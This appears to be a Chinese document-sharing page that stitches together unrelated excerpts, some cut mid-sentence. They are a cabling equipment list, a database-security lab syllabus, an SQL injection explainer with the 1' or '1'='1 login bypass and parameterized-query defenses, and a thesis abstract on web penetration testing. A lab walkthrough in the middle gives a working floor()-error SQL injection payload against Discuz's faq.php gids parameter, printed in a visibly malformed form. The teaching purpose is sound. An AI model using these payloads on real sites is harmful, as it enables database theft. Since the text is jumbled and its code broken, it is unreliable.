设备间位于,内有端接数据、语音主干的光纤配线架、语音主干配线架。 6、跳线 所有连接有源设备与端口插座的设备线不应超过 2 m。数据跳线选用两端RJ45接口,用于连接网络设备和配线架,要与六类线相匹配,并能符合ANSI/TIA/EIA—568和ISO/IEC 11801的要求。 管理间跳线:六类数据跳线统一采用2米跳线。数量按照所需数据点进行满配。语音跳线选用1对式—RJ45型的,一对,长度为2米,满配。光纤跳线需 采用FC-XX型,XX端由选择的交换机光接口而定。 附设备清单 序号产品名称参数要求单位数量 1 室外多模光缆室外4芯千兆多模铠装光缆,62.5/125 米300 2 终端盒8口桌面型终端盒个 2 3 光缆配件法兰、尾纤、熔接等套 1 4 多模光纤跳线千兆多模3米光纤跳线对 2 5 机柜1 600*1000*2000前后网孔门机柜,标配含PDU 电源 个 2 6 机柜2 600*800*1200网络机柜,标配含PDU电源 1 7 墙柜9U网络墙柜个 1 8 网线六类非屏蔽双绞线,23AWG,十字隔离线芯 设计。须通过中国权威测试机构或国际第三方 权威机构(如:ETL、DELTA、UL等等)测试认 证满足YD/T 926.3-2001指标要求,并出具该机 构发出的认证证明。NVP=70% 箱147 9 配线架六类24口机架式网络配线架,模块可拆卸, 后带理线托盘 个21 10 理线器1U机架式12口硅脂盖板个41 11 网络模块六类非屏蔽信息模块,250MHz传输带宽,阻 燃级别符合UL94V-0等级,后带PVC保护盖。 个380 12 单口面板标准86型直插式面板,自带防尘盖,阻燃级 别符合UL94V-0等级。 个100 13 双口面板标准86型直插式面板,自带防尘盖,阻燃级 别符合UL94V-0等级。 个140 14 加深明盒86S40H加深明盒个250 15 水晶头六类RJ45水晶头,二件套组合装盒 1 16 设备级联跳线六类2米机制成品跳线,与网线同品牌根380 17 用户跳线六类3米机制成品跳线,与网线同品牌根100 18 线管PVC线管、线槽米2000 19 工程辅材工程所必需管卡、接头、螺丝、电源等满足用项 1

《数据库安全实验》大纲

《数据库安全实验》教学大纲 课程名称(中文):数据库安全 课程名称(英文):Experiments of Database Systems Security 课程编号:ZH36039 课程性质:独立设课 课程属性:专业 学时学分:34学时,1学分 适用专业:信息安全 先修课程:数据库原理、网络安全、操作系统 教学方式:教师讲解原理、学生实际操作 1.实验方式与要求 1、本课程以实验为主,单独设课。开课后,课程负责教师首先需向学生介绍课程的性质、任务、要求、课程安排和进度、平时考核内容、期末考试方式、实验守则及实验室安全制度等; 2、本课程主要设置两种层次的实验:(1)基础实验;(2)设计实验。整个实验过程包括预习、讨论、实验操作、实验报告、结果讨论、思考题等6个环节。学生在实验前必须进行预习,预习报告或设计实验方案经老师批阅后,方可进入实验室进行实验; 3、学生根据各个实验的目的和要求,1或2人1组,每组1套实验装置,在规定时间内,独立完成实验环境配置,并撰写实验报告。实验过程中, 要求学生勤于动手, 敏锐观察, 细心操作, 开动脑筋, 分析钻研问题, 准确记录数据, 经教师检查并签名,实验及其原始数据记录才有效; 2.实验项目

实验一.SQL注入 实验目的 1. 了解SQL注入的基本原理 2. 掌握PHP脚本访问MySQL数据库的基本方法 3. 掌握程序设计中避免出现SQL注入漏洞的基本方法 实验内容 一、实施SQL注入攻击 1.PHP访问test数据库的user表 2.编写PHP脚本查询user数据库表 3.实施SQL注入 二.搜索引擎注入 1.创建隶属test数据库的file表 1.创建file表 2.插入消息 2.编写HTML页面 3.编写PHP脚本查询file数据库表 4.SQL注入 三.注入实现导出文件 四.通过注入提升用户权限 实验二.防范SQL注入 实验目的 1. 了解防范SQL注入的方法 2. 学会利用合法性校验防范SQL注入 3.学会利用prepared statement执行SQL查询 实验内容 一.客户端进行合法性校验 二.服务器进行合法性校验 三.预处理执行SQL查询 实验三. SQL Server 2000数据库安全配置实验目的 掌握SQL Server 2000 数据库的安全配置 实验内容 1.使用安全的密码策略 2.使用安全的账号策略 3.查看数据库日志

SQL注入之floor函数注入

SQL注入之floor函数注入 【实验目的】 掌握针对floor函数注入的整个过程及手工注入的语法。 【实验原理】 报错是因为floor(rand(0)*2的不确定性,group by floor(rand(0)*2)出错的原因是key是个随机数,检测临时表中key是否存在时计算了一下floor(rand(0)*2)可能为0,也可能为1,就会导致插入时冲突而报错。即检测时和插入时两次计算了随机数的值。 此种报错中,报错结构固定,少一个都不可以,如图1所示: 图1 需要注意的时此种报错结果都会添加一个1,所以需要将报错出来的结果去掉一个1之后才是最终的结果。如图2所示: 图2 可以看出需要注入的是数据库版本,正确版本是5.7.13,但是经过报错语句注入出来的是5.7.131,我们需要将最后一位的1去掉,就得到了正确的数据库版本。此处添加的1位置不是固定的,而是取决于payload 的位置。所以在去掉1时需要根据自行构造的payload的位置,如图3所示: 根据以上的语法确定了基于floor函数的报错注入的结构如下: select count(*),concat(payload,floor(rand(0)*2))x from information_schema.columns group by x;

需要将注入中的payload放在语句中payload的位置。 【实验环境】 目标站点:192.168.1.3/discus 操作机器:192.168.1.2 【实验步骤】 一、使用SQL语句进行注入攻击 1.1使用Firefox浏览器打开目标站点:19 2.168.1.3/discuz,访问网页,可以发现discuz/faq.php?action=faq&id=1这样的页面,我们可以对action这个参数进行注入攻击。 图3 1.2 获取数据库相关信息,数据库的相关信息有主机名(@@hostname),数据库路径(@@datadir),当前数据库(database()),数据库用户(user())等等,当action=grouppermission就可以注入了。因为faq.php 中的gids变量没有被初始化产生了注入漏洞,使用固定语句: faq.php?action=grouppermission&gids[99]='&gids[100][0]=)加上我们的payload就能实现注入攻击。数据库的相关信息有主机名(@@hostname),数据库路径(@@datadir),当前数据库(database()),数据库用户(user())等等。使用concat_ws函数将所有信息全部显示出来,payload为: (select 1 from from (select count(*),concat((select (select concat_ws(0x5e,@@version,@@datadir,user(),database()))) ,floor(rand(0)*2))xinformation_schema.tables group by x)a)%23 图4

SQL注入

SQL注入漏洞原理 实验目的: 1.了解SQL注入漏洞的原理 2.了解SQL注入对于系统安全性的影响 3.SQL注入攻击进行时造成的更大危害 4.降低SQL注入攻击风险的方法 实验原理: SQL全称是Structure Query Language(结构化查询语言),是广泛用于关系型数据库的查询语言。大部分的Web网站都需要利用SQL语句进行查询。 Select语句是最常用的SQL语句,一般的使用格式是 Select <字段列表> From <数据表名> Where <查询条件> 编程是,由Web的编程语言(如ASP, PHP, JSP等)首先生成一个查询字符串,比如一个Select 语句,提交给相应的数据库进行执行,从而得到所需的数据。形成这些SQL语句的时候,经常需要使用由客户端提交过来的数据。比如ASP网页代码 sql="select * from admin where username='" & Request("username") & "' and password=' " & Request("password") & "'" 这里的Request("username") 和 Request("password")分别表示用户输入的用户名和密码。正常情况下,该语句将形成如下格式的SQL查询:(假设用户名和密码分别是zhang3和123456) select * from admin where username='zhang3' and password='123456' 如果用户名和密码正确,该查询将返回对应于zhang3的纪录,Web程序认为是合法用户。如果用户名和密码不正确,该查询没有记录返回,Web程序可以认为是非法用户,而拒绝登录操作。 单如果我们在密码的地方输入以下内容: 1' or '1'='1 则相应的SQL查询变为 select * from admin where username='zhang3' and password='1' or '1'='1' 则该语句将返回admin表中所有的纪录。从而Web程序认为是合法用户,登录成功。 对于SQL Server数据库,我们还可以利用分号,在一个查询中执行多条语句,利用"--"符号进行注释,可以执行更多的命令。如果该网站使用的数据库登陆帐号是数据库管理员帐号,往往还可以执行一些具有很强功能的存储过程,甚至取得整个系统的管理员权限。 SQL注入的形式已经有很多,我们这里说的仅是最简单的情形。现在还有一些工具,可以自动检测网站是否存在这类SQL注入漏洞。如果存在,还可以自动地进行注入。 SQL注入,英文名称为SQL Injection,主要原因是没有对用户输入进行有效的验证。 要防范SQL注入漏洞,根本的办法严格检查用户输入数据的合法性;如果网站编程语言支持参数化SQL,最好使用参数化SQL的方式访问数据库,不要再直接构造SQL查询字符串。

Web网站渗透测试论文设计

XXX 职业技术学院 毕业设计(论文) 题目: Web 渗透测试技术研究 系 (院) 信息系 专业班级 计算机网络 学 号 1234567890 学生 XXX 校导师 XXX 职 称 讲师 企业导师 XXX 职 称 工程师 企业导师 XXX 职 称 工程师 ---------------------------------------------- 装 订 线----------------------------------------------

Web渗透测试技术研究 摘要: 随着网络技术的发展和应用领域的扩,网络安全问题越来越重要。相对于传统的系统安全,Web的安全得到了越来越多的重视。首先,越来越多的网络业务不再用专门的客户机/服务器模式开发,而是运行在Web上用浏览器统一访问;其次,和比较成熟的操作系统安全技术比较,Web的安全防护技术还不够完善,当前黑客也把大部分注意力集中在Web渗透技术的发展上,使Web安全总体上面临相当严峻的局面。 为了确保Web的安全,需要采用各种防护措施。在各种防护措施中,当前最有效的措施是先自己模拟黑客攻击,对需要评估的进行Web渗透测试,找到各种安全漏洞后再针对性进行修补。 本文在对Web渗透测试技术进行描述的基础上,配置了一个实验用Web,然后对此目关键词: 网络安全;Web;渗透测试 Web site penetration testing technology research Abstract: With the expansion of the network technology development and applications, network security issues become increasingly important. Compared with the traditional system security, Web security has got more and more attention. First, more and more network applications no longer develop with specialized client / server model, but run on the Web site and accessed by browser; Secondly, operating system security technology is relatively safe, but secure Web site protection technology is still not perfect, so the most of the current hackers’attention focused on the development of Web penetration technology, the Web site is facing serious security situation in general. To ensure the security Web site, you need to use a variety of protective measures. In a variety of protective measures, the most effective measure is to own hacking simulation, the need to assess the Web site penetration testing, to find a variety of security vulnerabilities before specific repair. Based on the Web site penetration testing techniques described, the Keywords: Network Security, Web sites, penetration testing 目录

相关文档
相关文档 最新文档